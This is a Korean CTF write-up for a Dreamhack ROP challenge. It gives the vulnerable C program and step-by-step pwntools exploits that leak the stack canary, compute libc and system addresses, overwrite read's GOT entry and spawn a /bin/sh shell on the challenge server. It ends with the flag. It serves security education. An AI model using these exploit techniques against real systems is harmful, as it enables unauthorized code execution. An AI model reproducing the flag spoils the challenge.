[DreamHack] rop 문서화
Exploit Tech: Return Oriented Programming | Dreamhack
ROP(Return Oriented Programming)
다수의 리턴 가젯 연결하여 사용
ASLR이 걸린 환경에서 system 함수를 사용하기 위해 프로세스에서 libc가 매핑된 주소를 찾고,
그 주소로부터 system 함수의 오프셋을 이용한 함수의 주소를 계산
문제 코드
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
1) 첫 번째 read 함수와 printf 함수로 카나리 릭
2) puts 함수와 두 번째 read 함수로 ROP

NX방어기법과 Canary 방어기법이 걸려있다.
1. 카나리 우회

disass 를 해서 보면 dummy(8) 인 것을 알 수 있다.
buf(0x30 == 48) | dummy(8) | \x00'+canary
-> A x 57 | canary
from pwn import *
p = process('./rop')
e = ELF('./rop')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

2. system 함수의 주소 계산
바이너리가 system 함수를 직접 호출하지 않아 system 함수가 GOT에는 등록되지 않는다.
그러나 read, puts, printf는 GOT에 등록되어 있다.
main 함수에서 반환될 때는 이 함수들을 모두 호출한 이후이므로, 이들의 GOT를 읽을 수 있으면 system함수가 매핑된 영역의 주소를 알 수 있다.
libc 안에서 두 데이터 사이의 거리(offset)은 항상 동일하다.
그러므로, libc가 매핑된 영역의 주소를 구할 수 있으면 다른 데이터의 주소를 모두 계산할 수 있다.

read 함수의 오프셋은 0x114980 이고, system 함수의 오프셋은 0x50d60 이다. 0x114980 에서 0xc3c20 를 빼면 system 함수의 오프셋인 0x50d60 를 얻을 수 있다.
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
p = process('./rop')
e = ELF('./rop')
libc = ELF('./libc.so.6')
# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)
p.interactive()

3. "/bin/sh"

이 바이너리는 데이터 영역에 “/bin/sh” 문자열이 없다. 따라서 이 문자열을 임의 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함된 것을 사용해야 한다. 다른 파일에 포함된 것을 사용해야 할 때 사용되는 것이 libc.so.6 에 포함된 “/bin/sh” 문자열이다. 이 문자열의 주소도 system 함수의 주소를 계산할 때처럼 libc 영역의 임의 주소를 구하고, 그 주소로부터 거리를 더하거나 빼서 계산할 수 있다.
4. GOT Overwrite
system함수와 /bin/sh 문자열의 주소를 알아냈으므로, pop rdi; ret 가젯을 활용하여 system("/bin/sh")를 호출한다.
그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main 함수로 돌아가서 다시 버퍼 오버플로우를 일으켜야 한다.
-> 알아낸 system 함수의 주소를 어떤 함수의 GOT에 쓰고, 그 함수를 재호출하도록 ROP를 구성
"/bin/sh"는 덮어쓸 GOT 엔트리 뒤에 같이 입력 > read 함수 사용
read 함수 인자 : 입력스트림, 입력 버퍼, 입력 길이 (rdi, rsi, rdx)
pop rdi; ret, pop rsi; pop r15; ret
문제 : rdx는 바이너리에서 찾기 어려움
문제 해결 : libc_csu_init 가젯 사용, rdx의 값을 변화시키는 함수 호출해서 값 설정
read 함수, pop rdi; ret, pop rsi; pop r15; ret 가젯을 사용하여 read의 GOT를 system 함수의 주소로 덮고, read_got + 8에 "/bin/sh" 문자열을 쓰는 익스플로잇을 작성하자
from pwn import *
context.update(arch='amd64', os='linux')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
#p = process('./rop')
p = remote("host3.dreamhack.games", 15546)
e = ELF('./rop')
libc = ELF('./libc.so.6')
# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()

Flag is
DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}